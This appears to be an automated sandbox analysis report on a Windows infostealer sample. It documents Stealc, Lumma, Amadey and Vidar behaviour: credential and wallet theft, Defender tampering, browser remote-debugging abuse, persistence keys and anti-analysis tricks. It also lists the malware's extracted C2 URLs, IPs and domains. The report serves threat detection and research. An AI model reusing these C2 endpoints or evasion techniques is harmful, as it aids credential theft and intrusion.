Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1552249
MD5:	3bbaaf5b9f7ea350480f38f3477b2bdd
SHA1:	d35c156652c9cc1a42ff38763f591f9e4dad2b37
SHA256:	9eb63358423639336777b59bfe78f5bf586b73039ed161e9b398f8f29098ba15
Tags:	exeuser-Bitsight
Infos:

Detection

PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Detected PureCrypter Trojan

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

Modifies windows update settings

Monitors registry run keys for changes

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7596 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3BBAAF5B9F7EA350480F38F3477B2BDD)

chrome.exe (PID: 7896 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8144 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2360 --field-trial-handle=2288,i,486927010696589672,1733184078241885908,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8016 cmdline: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 4480 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2652 --field-trial-handle=2408,i,6641453061144022291,10834478853577902840,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8628 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEGHJKFHJJJ.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsEGHJKFHJJJ.exe (PID: 8792 cmdline: "C:\Users\user\DocumentsEGHJKFHJJJ.exe" MD5: 3F37F3ED555BA8CB563F1C44D48F7DC0)

skotes.exe (PID: 4840 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 3F37F3ED555BA8CB563F1C44D48F7DC0)

msedge.exe (PID: 7008 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7292 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2016,i,10102246247957129533,15771102176876575942,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8228 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6852 --field-trial-handle=2016,i,10102246247957129533,15771102176876575942,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8276 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7012 --field-trial-handle=2016,i,10102246247957129533,15771102176876575942,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 2844 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5936 --field-trial-handle=2016,i,10102246247957129533,15771102176876575942,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8256 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4508 --field-trial-handle=2016,i,10102246247957129533,15771102176876575942,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8952 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 3F37F3ED555BA8CB563F1C44D48F7DC0)

8407c5d8e2.exe (PID: 7432 cmdline: "C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe" MD5: 7AC86C152BAC1FB0212A7FF9087A26E4)

ef7349e1dc.exe (PID: 5908 cmdline: "C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe" MD5: 3BBAAF5B9F7EA350480F38F3477B2BDD)

skotes.exe (PID: 8492 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 3F37F3ED555BA8CB563F1C44D48F7DC0)

ae09953578.exe (PID: 2544 cmdline: "C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe" MD5: A39F00A4959D374AD94FB439227CF00A)

8407c5d8e2.exe (PID: 2764 cmdline: "C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe" MD5: 7AC86C152BAC1FB0212A7FF9087A26E4)

ef7349e1dc.exe (PID: 6596 cmdline: "C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe" MD5: 3BBAAF5B9F7EA350480F38F3477B2BDD)

8407c5d8e2.exe (PID: 5528 cmdline: "C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe" MD5: 7AC86C152BAC1FB0212A7FF9087A26E4)

ef7349e1dc.exe (PID: 7172 cmdline: "C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe" MD5: 3BBAAF5B9F7EA350480F38F3477B2BDD)

ae09953578.exe (PID: 8660 cmdline: "C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe" MD5: A39F00A4959D374AD94FB439227CF00A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PureCrypter	According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021The malware has been observed distributing a variety of remote access trojans and information stealersThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software productsPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Googles Protocol Buffer message format	No Attribution	https://any.run/cybersecurity-blog/pure-malware-family-analysis/ https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/ https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/ https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter	https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["thumbystriw.store", "fadehairucw.store", "necklacedmny.store", "presticitpo.store", "scriptyprefej.store", "navygenerayk.store", "crisiwarny.store", "founpiuer.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000021.00000002.2493407371.00000000019EB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000003.2406515378.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.2433921371.0000000000C86000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.2392695677.0000000000C80000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000024.00000003.2621389567.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2027401280.000000000198E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000002.2363926380.0000000001B9E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000019.00000002.2683778319.0000000000851000.00000040.00000001.01000000.00000017.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.2078054649.0000000000F91000.00000040.00000001.01000000.00000014.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000003.2425342307.0000000000C86000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.2462553945.0000000000C95000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.2408762708.0000000000C86000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000002.2650777132.0000000000D71000.00000040.00000001.01000000.00000019.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000024.00000003.2616409170.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000003.2608697053.00000000050E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1422553388.00000000056A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000003.2449183507.0000000000C86000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000024.00000003.2616967541.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000002.2653003050.00000000015CB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2025550529.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000024.00000003.2583133950.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000024.00000003.2598784933.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000021.00000003.2438045776.00000000057A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000024.00000003.2565575250.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000024.00000003.2563131197.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000024.00000003.2615948450.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.2392137545.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000002.2567939622.00000000062E1000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000002.2132538319.0000000000851000.00000040.00000001.01000000.00000017.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000024.00000003.2566948743.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000003.2321135289.00000000054A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000024.00000003.2581708360.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000024.00000003.2596844258.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000024.00000003.2621554466.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.2425037372.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000003.2495407278.0000000008880000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000021.00000002.2479376498.0000000000D71000.00000040.00000001.01000000.00000019.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000002.2361785150.0000000000D71000.00000040.00000001.01000000.00000019.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7596	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7596	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7596	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7596	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 8407c5d8e2.exe PID: 7432	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 8407c5d8e2.exe PID: 7432	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 8407c5d8e2.exe PID: 7432	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 8407c5d8e2.exe PID: 7432	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 8407c5d8e2.exe PID: 7432	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: ef7349e1dc.exe PID: 5908	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: ef7349e1dc.exe PID: 5908	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 8407c5d8e2.exe PID: 2764	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ef7349e1dc.exe PID: 6596	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: ef7349e1dc.exe PID: 6596	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 8407c5d8e2.exe PID: 5528	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 8407c5d8e2.exe PID: 5528	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 8407c5d8e2.exe PID: 5528	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ef7349e1dc.exe PID: 7172	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: ef7349e1dc.exe PID: 7172	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 55 entries

Unpacked PEs

Source	Rule	Description	Author
37.2.ef7349e1dc.exe.d70000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
33.2.ef7349e1dc.exe.d70000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
27.2.8407c5d8e2.exe.5c0eab1.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
27.2.8407c5d8e2.exe.62e0000.2.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
30.2.ef7349e1dc.exe.d70000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.file.exe.c70000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
26.2.skotes.exe.850000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.2.skotes.exe.850000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.DocumentsEGHJKFHJJJ.exe.f90000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8952, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\8407c5d8e2.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7596, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7896, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8952, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\8407c5d8e2.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:20:52.313577+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.8	49723	TCP
2024-11-08T15:21:31.345027+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.8	49841	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:21:58.118523+0100	2028371	3	Unknown Traffic	192.168.2.8	49849	188.114.96.3	443	TCP
2024-11-08T15:21:59.348528+0100	2028371	3	Unknown Traffic	192.168.2.8	49851	188.114.96.3	443	TCP
2024-11-08T15:22:01.000485+0100	2028371	3	Unknown Traffic	192.168.2.8	49852	188.114.96.3	443	TCP
2024-11-08T15:22:02.695281+0100	2028371	3	Unknown Traffic	192.168.2.8	49854	188.114.96.3	443	TCP
2024-11-08T15:22:04.758807+0100	2028371	3	Unknown Traffic	192.168.2.8	49855	188.114.96.3	443	TCP
2024-11-08T15:22:07.390464+0100	2028371	3	Unknown Traffic	192.168.2.8	49858	188.114.96.3	443	TCP
2024-11-08T15:22:10.146428+0100	2028371	3	Unknown Traffic	192.168.2.8	49864	188.114.96.3	443	TCP
2024-11-08T15:22:10.490730+0100	2028371	3	Unknown Traffic	192.168.2.8	49865	188.114.96.3	443	TCP
2024-11-08T15:22:11.751834+0100	2028371	3	Unknown Traffic	192.168.2.8	49867	188.114.96.3	443	TCP
2024-11-08T15:22:13.275287+0100	2028371	3	Unknown Traffic	192.168.2.8	49871	188.114.96.3	443	TCP
2024-11-08T15:22:14.651374+0100	2028371	3	Unknown Traffic	192.168.2.8	49874	188.114.96.3	443	TCP
2024-11-08T15:22:14.799955+0100	2028371	3	Unknown Traffic	192.168.2.8	49875	188.114.96.3	443	TCP
2024-11-08T15:22:17.207760+0100	2028371	3	Unknown Traffic	192.168.2.8	49877	188.114.96.3	443	TCP
2024-11-08T15:22:20.366521+0100	2028371	3	Unknown Traffic	192.168.2.8	49879	188.114.96.3	443	TCP
2024-11-08T15:22:23.091752+0100	2028371	3	Unknown Traffic	192.168.2.8	49882	188.114.96.3	443	TCP
2024-11-08T15:22:25.664812+0100	2028371	3	Unknown Traffic	192.168.2.8	49885	188.114.96.3	443	TCP
2024-11-08T15:22:27.526127+0100	2028371	3	Unknown Traffic	192.168.2.8	49887	188.114.96.3	443	TCP
2024-11-08T15:22:28.749487+0100	2028371	3	Unknown Traffic	192.168.2.8	49888	188.114.96.3	443	TCP
2024-11-08T15:22:30.481560+0100	2028371	3	Unknown Traffic	192.168.2.8	49890	188.114.96.3	443	TCP
2024-11-08T15:22:32.162237+0100	2028371	3	Unknown Traffic	192.168.2.8	49892	188.114.96.3	443	TCP
2024-11-08T15:22:33.981779+0100	2028371	3	Unknown Traffic	192.168.2.8	49893	188.114.96.3	443	TCP
2024-11-08T15:22:36.105146+0100	2028371	3	Unknown Traffic	192.168.2.8	49895	188.114.96.3	443	TCP
2024-11-08T15:22:37.769894+0100	2028371	3	Unknown Traffic	192.168.2.8	49898	188.114.96.3	443	TCP
2024-11-08T15:22:40.063796+0100	2028371	3	Unknown Traffic	192.168.2.8	49900	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

